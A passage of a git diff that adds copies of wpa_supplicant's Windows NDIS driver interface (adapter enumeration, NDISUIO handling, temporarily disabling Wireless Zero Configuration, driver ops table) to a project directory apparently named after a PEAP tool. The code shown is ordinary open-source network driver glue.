wszGuid; +} INTF_KEY_ENTRY, *PINTF_KEY_ENTRY; + +typedef struct { + DWORD dwNumIntfs; + PINTF_KEY_ENTRY pIntfs; +} INTFS_KEY_TABLE, *PINTFS_KEY_TABLE; + +typedef struct { + DWORD dwDataLen; + LPBYTE pData; +} RAW_DATA, *PRAW_DATA; + +typedef struct { + LPWSTR wszGuid; + LPWSTR wszDescr; + ULONG ulMediaState; + ULONG ulMediaType; + ULONG ulPhysicalMediaType; + INT nInfraMode; + INT nAuthMode; + INT nWepStatus; +#ifndef _WIN32_WCE + u8 pad[2]; /* why is this needed? */ +#endif /* _WIN32_WCE */ + DWORD dwCtlFlags; + DWORD dwCapabilities; /* something added for WinXP SP2(?) */ + RAW_DATA rdSSID; + RAW_DATA rdBSSID; + RAW_DATA rdBSSIDList; + RAW_DATA rdStSSIDList; + RAW_DATA rdCtrlData; +#ifdef UNDER_CE + BOOL bInitialized; +#endif + DWORD nWPAMCastCipher; + /* add some extra buffer for later additions since this interface is + * far from stable */ + u8 later_additions[100]; +} INTF_ENTRY, *PINTF_ENTRY; + +#define INTF_ALL 0xffffffff +#define INTF_ALL_FLAGS 0x0000ffff +#define INTF_CTLFLAGS 0x00000010 +#define INTFCTL_ENABLED 0x8000 +#endif /* _WIN32_WCE */ + + +#ifdef _WIN32_WCE +static int wpa_driver_ndis_rebind_adapter(struct wpa_driver_ndis_data *drv) +{ + HANDLE ndis; + TCHAR multi[100]; + int len; + + len = _tcslen(drv->adapter_name); + if (len > 80) + return -1; + + ndis = CreateFile(DD_NDIS_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, + 0, NULL, OPEN_EXISTING, 0, NULL); + if (ndis == INVALID_HANDLE_VALUE) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to open file to NDIS " + "device: %d", (int) GetLastError()); + return -1; + } + + len++; + memcpy(multi, drv->adapter_name, len * sizeof(TCHAR)); + memcpy(&multi[len], TEXT("NDISUIO\0"), 9 * sizeof(TCHAR)); + len += 9; + + if (!DeviceIoControl(ndis, IOCTL_NDIS_REBIND_ADAPTER, + multi, len * sizeof(TCHAR), NULL, 0, NULL, NULL)) + { + wpa_printf(MSG_DEBUG, "NDIS: IOCTL_NDIS_REBIND_ADAPTER " + "failed: 0x%x", (int) GetLastError()); + wpa_hexdump_ascii(MSG_DEBUG, "NDIS: rebind multi_sz", + (u8 *) multi, len * sizeof(TCHAR)); + CloseHandle(ndis); + return -1; + } + + CloseHandle(ndis); + + wpa_printf(MSG_DEBUG, "NDIS: Requested NDIS rebind of NDISUIO " + "protocol"); + + return 0; +} +#endif /* _WIN32_WCE */ + + +static int wpa_driver_ndis_set_wzc(struct wpa_driver_ndis_data *drv, + int enable) +{ +#ifdef _WIN32_WCE + HKEY hk, hk2; + LONG ret; + DWORD i, hnd, len; + TCHAR keyname[256], devname[256]; + +#define WZC_DRIVER TEXT("Drivers\\BuiltIn\\ZeroConfig") + + if (enable) { + HANDLE h; + h = ActivateDeviceEx(WZC_DRIVER, NULL, 0, NULL); + if (h == INVALID_HANDLE_VALUE || h == 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to re-enable WZC " + "- ActivateDeviceEx failed: %d", + (int) GetLastError()); + return -1; + } + + wpa_printf(MSG_DEBUG, "NDIS: WZC re-enabled"); + return wpa_driver_ndis_rebind_adapter(drv); + } + + /* + * Unfortunately, just disabling the WZC for an interface is not enough + * to free NDISUIO for us, so need to disable and unload WZC completely + * for now when using WinCE with NDISUIO. In addition, must request + * NDISUIO protocol to be rebound to the adapter in order to free the + * NDISUIO binding that WZC hold before us. + */ + + /* Enumerate HKLM\Drivers\Active\* to find a handle to WZC. */ + ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, DEVLOAD_ACTIVE_KEY, 0, 0, &hk); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "NDIS: RegOpenKeyEx(DEVLOAD_ACTIVE_KEY) " + "failed: %d %d", (int) ret, (int) GetLastError()); + return -1; + } + + for (i = 0; ; i++) { + len = sizeof(keyname); + ret = RegEnumKeyEx(hk, i, keyname, &len, NULL, NULL, NULL, + NULL); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "NDIS: Could not find active " + "WZC - assuming it is not running."); + RegCloseKey(hk); + return -1; + } + + ret = RegOpenKeyEx(hk, keyname, 0, 0, &hk2); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "NDIS: RegOpenKeyEx(active dev) " + "failed: %d %d", + (int) ret, (int) GetLastError()); + continue; + } + + len = sizeof(devname); + ret = RegQueryValueEx(hk2, DEVLOAD_DEVKEY_VALNAME, NULL, NULL, + (LPBYTE) devname, &len); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "NDIS: RegQueryValueEx(" + "DEVKEY_VALNAME) failed: %d %d", + (int) ret, (int) GetLastError()); + RegCloseKey(hk2); + continue; + } + + if (_tcscmp(devname, WZC_DRIVER) == 0) + break; + + RegCloseKey(hk2); + } + + RegCloseKey(hk); + + /* Found WZC - get handle to it. */ + len = sizeof(hnd); + ret = RegQueryValueEx(hk2, DEVLOAD_HANDLE_VALNAME, NULL, NULL, + (PUCHAR) &hnd, &len); + if (ret != ERROR_SUCCESS) { + wpa_printf(MSG_DEBUG, "NDIS: RegQueryValueEx(HANDLE_VALNAME) " + "failed: %d %d", (int) ret, (int) GetLastError()); + RegCloseKey(hk2); + return -1; + } + + RegCloseKey(hk2); + + /* Deactivate WZC */ + if (!DeactivateDevice((HANDLE) hnd)) { + wpa_printf(MSG_DEBUG, "NDIS: DeactivateDevice failed: %d", + (int) GetLastError()); + return -1; + } + + wpa_printf(MSG_DEBUG, "NDIS: Disabled WZC temporarily"); + drv->wzc_disabled = 1; + return wpa_driver_ndis_rebind_adapter(drv); + +#else /* _WIN32_WCE */ + + HMODULE hm; + DWORD (WINAPI *wzc_enum_interf)(LPWSTR pSrvAddr, + PINTFS_KEY_TABLE pIntfs); + DWORD (WINAPI *wzc_query_interf)(LPWSTR pSrvAddr, DWORD dwInFlags, + PINTF_ENTRY pIntf, + LPDWORD pdwOutFlags); + DWORD (WINAPI *wzc_set_interf)(LPWSTR pSrvAddr, DWORD dwInFlags, + PINTF_ENTRY pIntf, LPDWORD pdwOutFlags); + int ret = -1, j; + DWORD res; + INTFS_KEY_TABLE guids; + INTF_ENTRY intf; + char guid[128]; + WCHAR *pos; + DWORD flags, i; + + hm = LoadLibrary(TEXT("wzcsapi.dll")); + if (hm == NULL) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to load wzcsapi.dll (%u) " + "- WZC probably not running", + (unsigned int) GetLastError()); + return -1; + } + +#ifdef _WIN32_WCE + wzc_enum_interf = (void *) GetProcAddressA(hm, "WZCEnumInterfaces"); + wzc_query_interf = (void *) GetProcAddressA(hm, "WZCQueryInterface"); + wzc_set_interf = (void *) GetProcAddressA(hm, "WZCSetInterface"); +#else /* _WIN32_WCE */ + wzc_enum_interf = (void *) GetProcAddress(hm, "WZCEnumInterfaces"); + wzc_query_interf = (void *) GetProcAddress(hm, "WZCQueryInterface"); + wzc_set_interf = (void *) GetProcAddress(hm, "WZCSetInterface"); +#endif /* _WIN32_WCE */ + + if (wzc_enum_interf == NULL || wzc_query_interf == NULL || + wzc_set_interf == NULL) { + wpa_printf(MSG_DEBUG, "NDIS: WZCEnumInterfaces, " + "WZCQueryInterface, or WZCSetInterface not found " + "in wzcsapi.dll"); + goto fail; + } + + os_memset(&guids, 0, sizeof(guids)); + res = wzc_enum_interf(NULL, &guids); + if (res != 0) { + wpa_printf(MSG_DEBUG, "NDIS: WZCEnumInterfaces failed: %d; " + "WZC service is apparently not running", + (int) res); + goto fail; + } + + wpa_printf(MSG_DEBUG, "NDIS: WZCEnumInterfaces: %d interfaces", + (int) guids.dwNumIntfs); + + for (i = 0; i < guids.dwNumIntfs; i++) { + pos = guids.pIntfs[i].wszGuid; + for (j = 0; j < sizeof(guid); j++) { + guid[j] = (char) *pos; + if (*pos == 0) + break; + pos++; + } + guid[sizeof(guid) - 1] = '\0'; + wpa_printf(MSG_DEBUG, "NDIS: intfs %d GUID '%s'", + (int) i, guid); + if (os_strstr(drv->ifname, guid) == NULL) + continue; + + wpa_printf(MSG_DEBUG, "NDIS: Current interface found from " + "WZC"); + break; + } + + if (i >= guids.dwNumIntfs) { + wpa_printf(MSG_DEBUG, "NDIS: Current interface not found from " + "WZC"); + goto fail; + } + + os_memset(&intf, 0, sizeof(intf)); + intf.wszGuid = guids.pIntfs[i].wszGuid; + /* Set flags to verify that the structure has not changed. */ + intf.dwCtlFlags = -1; + flags = 0; + res = wzc_query_interf(NULL, INTFCTL_ENABLED, &intf, &flags); + if (res != 0) { + wpa_printf(MSG_DEBUG, "NDIS: Could not query flags for the " + "WZC interface: %d (0x%x)", + (int) res, (int) res); + wpa_printf(MSG_DEBUG, "NDIS: GetLastError: %u", + (unsigned int) GetLastError()); + goto fail; + } + + wpa_printf(MSG_DEBUG, "NDIS: WZC interface flags 0x%x dwCtlFlags 0x%x", + (int) flags, (int) intf.dwCtlFlags); + + if (intf.dwCtlFlags == -1) { + wpa_printf(MSG_DEBUG, "NDIS: Looks like wzcsapi has changed " + "again - could not disable WZC"); + wpa_hexdump(MSG_MSGDUMP, "NDIS: intf", + (u8 *) &intf, sizeof(intf)); + goto fail; + } + + if (enable) { + if (!(intf.dwCtlFlags & INTFCTL_ENABLED)) { + wpa_printf(MSG_DEBUG, "NDIS: Enabling WZC for this " + "interface"); + intf.dwCtlFlags |= INTFCTL_ENABLED; + res = wzc_set_interf(NULL, INTFCTL_ENABLED, &intf, + &flags); + if (res != 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to enable " + "WZC: %d (0x%x)", + (int) res, (int) res); + wpa_printf(MSG_DEBUG, "NDIS: GetLastError: %u", + (unsigned int) GetLastError()); + goto fail; + } + wpa_printf(MSG_DEBUG, "NDIS: Re-enabled WZC for this " + "interface"); + drv->wzc_disabled = 0; + } + } else { + if (intf.dwCtlFlags & INTFCTL_ENABLED) { + wpa_printf(MSG_DEBUG, "NDIS: Disabling WZC for this " + "interface"); + intf.dwCtlFlags &= ~INTFCTL_ENABLED; + res = wzc_set_interf(NULL, INTFCTL_ENABLED, &intf, + &flags); + if (res != 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to " + "disable WZC: %d (0x%x)", + (int) res, (int) res); + wpa_printf(MSG_DEBUG, "NDIS: GetLastError: %u", + (unsigned int) GetLastError()); + goto fail; + } + wpa_printf(MSG_DEBUG, "NDIS: Disabled WZC temporarily " + "for this interface"); + drv->wzc_disabled = 1; + } else { + wpa_printf(MSG_DEBUG, "NDIS: WZC was not enabled for " + "this interface"); + } + } + + ret = 0; + +fail: + FreeLibrary(hm); + + return ret; +#endif /* _WIN32_WCE */ +} + +#else /* CONFIG_NATIVE_WINDOWS || __CYGWIN__ */ + +static int wpa_driver_ndis_set_wzc(struct wpa_driver_ndis_data *drv, + int enable) +{ + return 0; +} + +#endif /* CONFIG_NATIVE_WINDOWS || __CYGWIN__ */ + + +#ifdef CONFIG_USE_NDISUIO +/* + * l2_packet_ndis.c is sharing the same handle to NDISUIO, so we must be able + * to export this handle. This is somewhat ugly, but there is no better + * mechanism available to pass data from driver interface to l2_packet wrapper. + */ +static HANDLE driver_ndis_ndisuio_handle = INVALID_HANDLE_VALUE; + +HANDLE driver_ndis_get_ndisuio_handle(void) +{ + return driver_ndis_ndisuio_handle; +} +#endif /* CONFIG_USE_NDISUIO */ + + +static int wpa_driver_ndis_adapter_init(struct wpa_driver_ndis_data *drv) +{ +#ifdef CONFIG_USE_NDISUIO +#ifndef _WIN32_WCE +#define NDISUIO_DEVICE_NAME TEXT("\\\\.\\\\Ndisuio") + DWORD written; +#endif /* _WIN32_WCE */ + drv->ndisuio = CreateFile(NDISUIO_DEVICE_NAME, + GENERIC_READ | GENERIC_WRITE, 0, NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, + INVALID_HANDLE_VALUE); + if (drv->ndisuio == INVALID_HANDLE_VALUE) { + wpa_printf(MSG_ERROR, "NDIS: Failed to open connection to " + "NDISUIO: %d", (int) GetLastError()); + return -1; + } + driver_ndis_ndisuio_handle = drv->ndisuio; + +#ifndef _WIN32_WCE + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_BIND_WAIT, NULL, 0, + NULL, 0, &written, NULL)) { + wpa_printf(MSG_ERROR, "NDIS: IOCTL_NDISUIO_BIND_WAIT failed: " + "%d", (int) GetLastError()); + CloseHandle(drv->ndisuio); + drv->ndisuio = INVALID_HANDLE_VALUE; + return -1; + } +#endif /* _WIN32_WCE */ + + return 0; +#else /* CONFIG_USE_NDISUIO */ + return 0; +#endif /* CONFIG_USE_NDISUIO */ +} + + +static int wpa_driver_ndis_adapter_open(struct wpa_driver_ndis_data *drv) +{ +#ifdef CONFIG_USE_NDISUIO + DWORD written; +#define MAX_NDIS_DEVICE_NAME_LEN 256 + WCHAR ifname[MAX_NDIS_DEVICE_NAME_LEN]; + size_t len, i, pos; + const char *prefix = "\\DEVICE\\"; + +#ifdef _WIN32_WCE + pos = 0; +#else /* _WIN32_WCE */ + pos = 8; +#endif /* _WIN32_WCE */ + len = pos + os_strlen(drv->ifname); + if (len >= MAX_NDIS_DEVICE_NAME_LEN) + return -1; + for (i = 0; i < pos; i++) + ifname[i] = (WCHAR) prefix[i]; + for (i = pos; i < len; i++) + ifname[i] = (WCHAR) drv->ifname[i - pos]; + ifname[i] = L'\0'; + + if (!DeviceIoControl(drv->ndisuio, IOCTL_NDISUIO_OPEN_DEVICE, + ifname, len * sizeof(WCHAR), NULL, 0, &written, + NULL)) { + wpa_printf(MSG_ERROR, "NDIS: IOCTL_NDISUIO_OPEN_DEVICE " + "failed: %d", (int) GetLastError()); + wpa_hexdump_ascii(MSG_DEBUG, "NDIS: ifname", + (const u8 *) ifname, len * sizeof(WCHAR)); + CloseHandle(drv->ndisuio); + drv->ndisuio = INVALID_HANDLE_VALUE; + return -1; + } + + wpa_printf(MSG_DEBUG, "NDIS: Opened NDISUIO device successfully"); + + return 0; +#else /* CONFIG_USE_NDISUIO */ + char ifname[128]; + os_snprintf(ifname, sizeof(ifname), "\\Device\\NPF_%s", drv->ifname); + drv->adapter = PacketOpenAdapter(ifname); + if (drv->adapter == NULL) { + wpa_printf(MSG_DEBUG, "NDIS: PacketOpenAdapter failed for " + "'%s'", ifname); + return -1; + } + return 0; +#endif /* CONFIG_USE_NDISUIO */ +} + + +static void wpa_driver_ndis_adapter_close(struct wpa_driver_ndis_data *drv) +{ +#ifdef CONFIG_USE_NDISUIO + driver_ndis_ndisuio_handle = INVALID_HANDLE_VALUE; + if (drv->ndisuio != INVALID_HANDLE_VALUE) + CloseHandle(drv->ndisuio); +#else /* CONFIG_USE_NDISUIO */ + if (drv->adapter) + PacketCloseAdapter(drv->adapter); +#endif /* CONFIG_USE_NDISUIO */ +} + + +static int ndis_add_multicast(struct wpa_driver_ndis_data *drv) +{ + if (ndis_set_oid(drv, OID_802_3_MULTICAST_LIST, + (const char *) pae_group_addr, ETH_ALEN) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Failed to add PAE group address " + "to the multicast list"); + return -1; + } + + return 0; +} + + +static void * wpa_driver_ndis_init(void *ctx, const char *ifname) +{ + struct wpa_driver_ndis_data *drv; + u32 mode; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + drv->ctx = ctx; + /* + * Compatibility code to strip possible prefix from the GUID. Previous + * versions include \Device\NPF_ prefix for all names, but the internal + * interface name is now only the GUI. Both Packet32 and NDISUIO + * prefixes are supported. + */ + if (os_strncmp(ifname, "\\Device\\NPF_", 12) == 0) + ifname += 12; + else if (os_strncmp(ifname, "\\DEVICE\\", 8) == 0) + ifname += 8; + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + + if (wpa_driver_ndis_adapter_init(drv) < 0) { + os_free(drv); + return NULL; + } + + if (wpa_driver_ndis_get_names(drv) < 0) { + wpa_driver_ndis_adapter_close(drv); + os_free(drv); + return NULL; + } + + wpa_driver_ndis_set_wzc(drv, 0); + + if (wpa_driver_ndis_adapter_open(drv) < 0) { + wpa_driver_ndis_adapter_close(drv); + os_free(drv); + return NULL; + } + + if (ndis_get_oid(drv, OID_802_3_CURRENT_ADDRESS, + (char *) drv->own_addr, ETH_ALEN) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: Get OID_802_3_CURRENT_ADDRESS " + "failed"); + wpa_driver_ndis_adapter_close(drv); + os_free(drv); + return NULL; + } + wpa_driver_ndis_get_capability(drv); + + /* Make sure that the driver does not have any obsolete PMKID entries. + */ + wpa_driver_ndis_flush_pmkid(drv); + + /* + * Disconnect to make sure that driver re-associates if it was + * connected. + */ + wpa_driver_ndis_disconnect(drv); + + eloop_register_timeout(1, 0, wpa_driver_ndis_poll_timeout, drv, NULL); + +#ifdef CONFIG_NDIS_EVENTS_INTEGRATED + drv->events = ndis_events_init(&drv->events_pipe, &drv->event_avail, + drv->ifname, drv->adapter_desc); + if (drv->events == NULL) { + wpa_driver_ndis_deinit(drv); + return NULL; + } + eloop_register_event(drv->event_avail, sizeof(drv->event_avail), + wpa_driver_ndis_event_pipe_cb, drv, NULL); +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ + +#ifdef _WIN32_WCE + if (ndisuio_notification_init(drv) < 0) { + wpa_driver_ndis_deinit(drv); + return NULL; + } +#endif /* _WIN32_WCE */ + + /* Set mode here in case card was configured for ad-hoc mode + * previously. */ + mode = Ndis802_11Infrastructure; + if (ndis_set_oid(drv, OID_802_11_INFRASTRUCTURE_MODE, + (char *) &mode, sizeof(mode)) < 0) { + char buf[8]; + int res; + wpa_printf(MSG_DEBUG, "NDIS: Failed to set " + "OID_802_11_INFRASTRUCTURE_MODE (%d)", + (int) mode); + /* Try to continue anyway */ + + res = ndis_get_oid(drv, OID_DOT11_CURRENT_OPERATION_MODE, buf, + sizeof(buf)); + if (res > 0) { + wpa_printf(MSG_INFO, "NDIS: The driver seems to use " + "Native 802.11 OIDs. These are not yet " + "fully supported."); + drv->native80211 = 1; + } else if (!drv->has_capability || drv->capa.enc == 0) { + /* + * Note: This will also happen with NDIS 6 drivers with + * Vista. + */ + wpa_printf(MSG_DEBUG, "NDIS: Driver did not provide " + "any wireless capabilities - assume it is " + "a wired interface"); + drv->wired = 1; + drv->capa.flags |= WPA_DRIVER_FLAGS_WIRED; + drv->has_capability = 1; + ndis_add_multicast(drv); + } + } + + return drv; +} + + +static void wpa_driver_ndis_deinit(void *priv) +{ + struct wpa_driver_ndis_data *drv = priv; + +#ifdef CONFIG_NDIS_EVENTS_INTEGRATED + if (drv->events) { + eloop_unregister_event(drv->event_avail, + sizeof(drv->event_avail)); + ndis_events_deinit(drv->events); + } +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ + +#ifdef _WIN32_WCE + ndisuio_notification_deinit(drv); +#endif /* _WIN32_WCE */ + + eloop_cancel_timeout(wpa_driver_ndis_scan_timeout, drv, drv->ctx); + eloop_cancel_timeout(wpa_driver_ndis_poll_timeout, drv, NULL); + wpa_driver_ndis_flush_pmkid(drv); + wpa_driver_ndis_disconnect(drv); + if (wpa_driver_ndis_radio_off(drv) < 0) { + wpa_printf(MSG_DEBUG, "NDIS: failed to disassociate and turn " + "radio off"); + } + + wpa_driver_ndis_adapter_close(drv); + + if (drv->wzc_disabled) + wpa_driver_ndis_set_wzc(drv, 1); + +#ifdef _WIN32_WCE + os_free(drv->adapter_name); +#endif /* _WIN32_WCE */ + os_free(drv->adapter_desc); + os_free(drv); +} + + +static struct wpa_interface_info * +wpa_driver_ndis_get_interfaces(void *global_priv) +{ + struct wpa_interface_info *iface = NULL, *niface; + +#ifdef CONFIG_USE_NDISUIO + NDISUIO_QUERY_BINDING *b; + size_t blen = sizeof(*b) + 1024; + int i, error; + DWORD written; + char name[256], desc[256]; + WCHAR *pos; + size_t j, len; + HANDLE ndisuio; + + ndisuio = CreateFile(NDISUIO_DEVICE_NAME, + GENERIC_READ | GENERIC_WRITE, 0, NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, + INVALID_HANDLE_VALUE); + if (ndisuio == INVALID_HANDLE_VALUE) { + wpa_printf(MSG_ERROR, "NDIS: Failed to open connection to " + "NDISUIO: %d", (int) GetLastError()); + return NULL; + } + +#ifndef _WIN32_WCE + if (!DeviceIoControl(ndisuio, IOCTL_NDISUIO_BIND_WAIT, NULL, 0, + NULL, 0, &written, NULL)) { + wpa_printf(MSG_ERROR, "NDIS: IOCTL_NDISUIO_BIND_WAIT failed: " + "%d", (int) GetLastError()); + CloseHandle(ndisuio); + return NULL; + } +#endif /* _WIN32_WCE */ + + b = os_malloc(blen); + if (b == NULL) { + CloseHandle(ndisuio); + return NULL; + } + + for (i = 0; ; i++) { + os_memset(b, 0, blen); + b->BindingIndex = i; + if (!DeviceIoControl(ndisuio, IOCTL_NDISUIO_QUERY_BINDING, + b, sizeof(NDISUIO_QUERY_BINDING), b, blen, + &written, NULL)) { + error = (int) GetLastError(); + if (error == ERROR_NO_MORE_ITEMS) + break; + wpa_printf(MSG_DEBUG, "IOCTL_NDISUIO_QUERY_BINDING " + "failed: %d", error); + break; + } + + pos = (WCHAR *) ((char *) b + b->DeviceNameOffset); + len = b->DeviceNameLength; + if (len >= sizeof(name)) + len = sizeof(name) - 1; + for (j = 0; j < len; j++) + name[j] = (char) pos[j]; + name[len] = '\0'; + + pos = (WCHAR *) ((char *) b + b->DeviceDescrOffset); + len = b->DeviceDescrLength; + if (len >= sizeof(desc)) + len = sizeof(desc) - 1; + for (j = 0; j < len; j++) + desc[j] = (char) pos[j]; + desc[len] = '\0'; + + wpa_printf(MSG_DEBUG, "NDIS: %d - %s - %s", i, name, desc); + + niface = os_zalloc(sizeof(*niface)); + if (niface == NULL) + break; + niface->drv_name = "ndis"; + if (os_strncmp(name, "\\DEVICE\\", 8) == 0) + niface->ifname = os_strdup(name + 8); + else + niface->ifname = os_strdup(name); + if (niface->ifname == NULL) { + os_free(niface); + break; + } + niface->desc = os_strdup(desc); + niface->next = iface; + iface = niface; + } + + os_free(b); + CloseHandle(ndisuio); +#else /* CONFIG_USE_NDISUIO */ + PTSTR _names; + char *names, *pos, *pos2; + ULONG len; + BOOLEAN res; + char *name[MAX_ADAPTERS]; + char *desc[MAX_ADAPTERS]; + int num_name, num_desc, i; + + wpa_printf(MSG_DEBUG, "NDIS: Packet.dll version: %s", + PacketGetVersion()); + + len = 8192; + _names = os_zalloc(len); + if (_names == NULL) + return NULL; + + res = PacketGetAdapterNames(_names, &len); + if (!res && len > 8192) { + os_free(_names); + _names = os_zalloc(len); + if (_names == NULL) + return NULL; + res = PacketGetAdapterNames(_names, &len); + } + + if (!res) { + wpa_printf(MSG_ERROR, "NDIS: Failed to get adapter list " + "(PacketGetAdapterNames)"); + os_free(_names); + return NULL; + } + + names = (char *) _names; + if (names[0] && names[1] == '\0' && names[2] && names[3] == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: Looks like adapter names are in " + "UNICODE"); + /* Convert to ASCII */ + pos2 = pos = names; + while (pos2 < names + len) { + if (pos2[0] == '\0' && pos2[1] == '\0' && + pos2[2] == '\0' && pos2[3] == '\0') { + pos2 += 4; + break; + } + *pos++ = pos2[0]; + pos2 += 2; + } + os_memcpy(pos + 2, names, pos - names); + pos += 2; + } else + pos = names; + + num_name = 0; + while (pos < names + len) { + name[num_name] = pos; + while (*pos && pos < names + len) + pos++; + if (pos + 1 >= names + len) { + os_free(names); + return NULL; + } + pos++; + num_name++; + if (num_name >= MAX_ADAPTERS) { + wpa_printf(MSG_DEBUG, "NDIS: Too many adapters"); + os_free(names); + return NULL; + } + if (*pos == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: %d adapter names found", + num_name); + pos++; + break; + } + } + + num_desc = 0; + while (pos < names + len) { + desc[num_desc] = pos; + while (*pos && pos < names + len) + pos++; + if (pos + 1 >= names + len) { + os_free(names); + return NULL; + } + pos++; + num_desc++; + if (num_desc >= MAX_ADAPTERS) { + wpa_printf(MSG_DEBUG, "NDIS: Too many adapter " + "descriptions"); + os_free(names); + return NULL; + } + if (*pos == '\0') { + wpa_printf(MSG_DEBUG, "NDIS: %d adapter descriptions " + "found", num_name); + pos++; + break; + } + } + + /* + * Windows 98 with Packet.dll 3.0 alpha3 does not include adapter + * descriptions. Fill in dummy descriptors to work around this. + */ + while (num_desc < num_name) + desc[num_desc++] = "dummy description"; + + if (num_name != num_desc) { + wpa_printf(MSG_DEBUG, "NDIS: mismatch in adapter name and " + "description counts (%d != %d)", + num_name, num_desc); + os_free(names); + return NULL; + } + + for (i = 0; i < num_name; i++) { + niface = os_zalloc(sizeof(*niface)); + if (niface == NULL) + break; + niface->drv_name = "ndis"; + if (os_strncmp(name[i], "\\Device\\NPF_", 12) == 0) + niface->ifname = os_strdup(name[i] + 12); + else + niface->ifname = os_strdup(name[i]); + if (niface->ifname == NULL) { + os_free(niface); + break; + } + niface->desc = os_strdup(desc[i]); + niface->next = iface; + iface = niface; + } + +#endif /* CONFIG_USE_NDISUIO */ + + return iface; +} + + +static const char *ndis_drv_name = "ndis"; +static const char *ndis_drv_desc = "Windows NDIS driver"; + +struct wpa_driver_ops wpa_driver_ndis_ops; + +void driver_ndis_init_ops(void) +{ + os_memset(&wpa_driver_ndis_ops, 0, sizeof(wpa_driver_ndis_ops)); + wpa_driver_ndis_ops.name = ndis_drv_name; + wpa_driver_ndis_ops.desc = ndis_drv_desc; + wpa_driver_ndis_ops.get_bssid = wpa_driver_ndis_get_bssid; + wpa_driver_ndis_ops.get_ssid = wpa_driver_ndis_get_ssid; + wpa_driver_ndis_ops.set_key = wpa_driver_ndis_set_key; + wpa_driver_ndis_ops.init = wpa_driver_ndis_init; + wpa_driver_ndis_ops.deinit = wpa_driver_ndis_deinit; + wpa_driver_ndis_ops.deauthenticate = wpa_driver_ndis_deauthenticate; + wpa_driver_ndis_ops.associate = wpa_driver_ndis_associate; + wpa_driver_ndis_ops.add_pmkid = wpa_driver_ndis_add_pmkid; + wpa_driver_ndis_ops.remove_pmkid = wpa_driver_ndis_remove_pmkid; + wpa_driver_ndis_ops.flush_pmkid = wpa_driver_ndis_flush_pmkid; + wpa_driver_ndis_ops.get_capa = wpa_driver_ndis_get_capa; + wpa_driver_ndis_ops.poll = wpa_driver_ndis_poll; + wpa_driver_ndis_ops.get_ifname = wpa_driver_ndis_get_ifname; + wpa_driver_ndis_ops.get_mac_addr = wpa_driver_ndis_get_mac_addr; + wpa_driver_ndis_ops.get_scan_results2 = + wpa_driver_ndis_get_scan_results; + wpa_driver_ndis_ops.get_interfaces = wpa_driver_ndis_get_interfaces; + wpa_driver_ndis_ops.scan2 = wpa_driver_ndis_scan; +} diff --git a/peapwn/mods/hostap/src/drivers/driver_ndis.h b/peapwn/mods/hostap/src/drivers/driver_ndis.h new file mode 100644 index 000000000..89d136d3b --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_ndis.h @@ -0,0 +1,59 @@ +/* + * WPA Supplicant - Windows/NDIS driver interface + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef DRIVER_NDIS_H +#define DRIVER_NDIS_H + +#ifdef CONFIG_NDIS_EVENTS_INTEGRATED +struct ndis_events_data; +struct ndis_events_data * ndis_events_init(HANDLE *read_pipe, HANDLE *event, + const char *ifname, + const char *desc); +void ndis_events_deinit(struct ndis_events_data *events); +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ + +struct ndis_pmkid_entry { + struct ndis_pmkid_entry *next; + u8 bssid[ETH_ALEN]; + u8 pmkid[16]; +}; + +struct wpa_driver_ndis_data { + void *ctx; + char ifname[100]; /* GUID: {7EE3EFE5-C165-472F-986D-F6FBEDFE8C8D} */ +#ifdef _WIN32_WCE + TCHAR *adapter_name; + HANDLE event_queue; /* NDISUIO notifier MsgQueue */ + HANDLE connected_event; /* WpaSupplicantConnected event */ +#endif /* _WIN32_WCE */ + u8 own_addr[ETH_ALEN]; +#ifdef CONFIG_USE_NDISUIO + HANDLE ndisuio; +#else /* CONFIG_USE_NDISUIO */ + LPADAPTER adapter; +#endif /* CONFIG_USE_NDISUIO */ + u8 bssid[ETH_ALEN]; + + int has_capability; + int no_of_pmkid; + int radio_enabled; + struct wpa_driver_capa capa; + struct ndis_pmkid_entry *pmkid; + char *adapter_desc; + int wired; + int native80211; + int mode; + int wzc_disabled; + int oid_bssid_set; +#ifdef CONFIG_NDIS_EVENTS_INTEGRATED + HANDLE events_pipe, event_avail; + struct ndis_events_data *events; +#endif /* CONFIG_NDIS_EVENTS_INTEGRATED */ +}; + +#endif /* DRIVER_NDIS_H */ diff --git a/peapwn/mods/hostap/src/drivers/driver_ndis_.c b/peapwn/mods/hostap/src/drivers/driver_ndis_.c new file mode 100644 index 000000000..4d2300196 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_ndis_.c @@ -0,0 +1,99 @@ +/* + * WPA Supplicant - Windows/NDIS driver interface - event processing + * Copyright (c) 2004-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "driver.h" +#include "eloop.h" + +/* Keep this event processing in a separate file and without WinPcap headers to + * avoid conflicts with some of the header files. */ +struct _ADAPTER; +typedef struct _ADAPTER * LPADAPTER; +#include "driver_ndis.h" + + +void wpa_driver_ndis_event_connect(struct wpa_driver_ndis_data *drv); +void 